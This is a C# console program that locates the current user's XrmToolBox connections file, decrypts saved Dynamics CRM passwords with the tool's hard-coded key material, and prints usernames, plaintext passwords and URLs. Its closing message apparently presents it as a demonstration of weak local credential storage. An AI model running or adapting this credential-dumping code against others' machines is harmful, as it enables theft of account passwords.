using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Xml.Linq;

namespace XrmToolBoxDecryptor
{
    class CryptManager
    {
        public static string Decrypt(string cipherText,
                                     string passPhrase,
                                     string saltValue,
                                     string hashAlgorithm,
                                     int passwordIterations,
                                     string initVector,
                                     int keySize)
        {
            byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
            byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
            byte[] cipherTextBytes = Convert.FromBase64String(cipherText);

            PasswordDeriveBytes password = new PasswordDeriveBytes(
                                                            passPhrase,
                                                            saltValueBytes,
                                                            hashAlgorithm,
                                                            passwordIterations);

            byte[] keyBytes = password.GetBytes(keySize / 8);
            RijndaelManaged symmetricKey = new RijndaelManaged();
            symmetricKey.Mode = CipherMode.CBC;

            ICryptoTransform decryptor = symmetricKey.CreateDecryptor(
                                                             keyBytes,
                                                             initVectorBytes);

            MemoryStream memoryStream = new MemoryStream(cipherTextBytes);


            CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                                          decryptor,
                                                          CryptoStreamMode.Read);

            byte[] plainTextBytes = new byte[cipherTextBytes.Length];
            int decryptedByteCount = cryptoStream.Read(plainTextBytes,
                                                       0,
                                                       plainTextBytes.Length);

            memoryStream.Close();
            cryptoStream.Close();

            string plainText = Encoding.UTF8.GetString(plainTextBytes,
                                                       0,
                                                       decryptedByteCount);
            return plainText;
        }
    }

    public class Program
    {
        internal const string CryptoHashAlgorythm = "SHA1";
        internal const string CryptoInitVector = "ahC3@bCa2Didfc3d";
        internal const int CryptoKeySize = 256;
        internal const string CryptoPassPhrase = "MsCrmTools";
        internal const int CryptoPasswordIterations = 2;
        internal const string CryptoSaltValue = "Tanguy 92*";
        private const string DefaultConfigFileName = "mscrmtools2011.config";

        static void Main(string[] args)
        {
            var filePath = $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}/MscrmTools/XrmToolBox/Connections/ConnectionsList.Default.xml";

            if (!File.Exists(filePath))
            {
                Console.WriteLine("Failed to find connection file");
                return;
            }

            var file = File.ReadAllText(filePath);

            var connections = XDocument.Parse(file);

            var passwordConnections = connections
                .Descendants("ConnectionDetail")
                .Where(d => bool.Parse(d.Descendants("SavePassword").FirstOrDefault().Value))
                .ToList();

            if (passwordConnections.Count < 1)
            {
                Console.WriteLine("No passwords saved");
                return;
            }

            Console.WriteLine($"Found the following {passwordConnections.Count} passwords:");

            foreach (var connection in passwordConnections)
            {
                var password = connection.Element("UserPassword").Value;

                var decrypted = CryptManager.Decrypt(password,
                      CryptoPassPhrase,
                      CryptoSaltValue,
                      CryptoHashAlgorythm,
                      CryptoPasswordIterations,
                      CryptoInitVector,
                      CryptoKeySize);

                Console.WriteLine($"Username: {connection.Element("UserName").Value}");
                Console.WriteLine($"Password: {decrypted}");
                Console.WriteLine($"URL: {connection.Element("OriginalUrl").Value}");

                Console.WriteLine();
            }


            Console.WriteLine("That's it, don't lose your notebook without Bitlocker. Press any key to exit.");
            Console.ReadKey();
        }
    }
}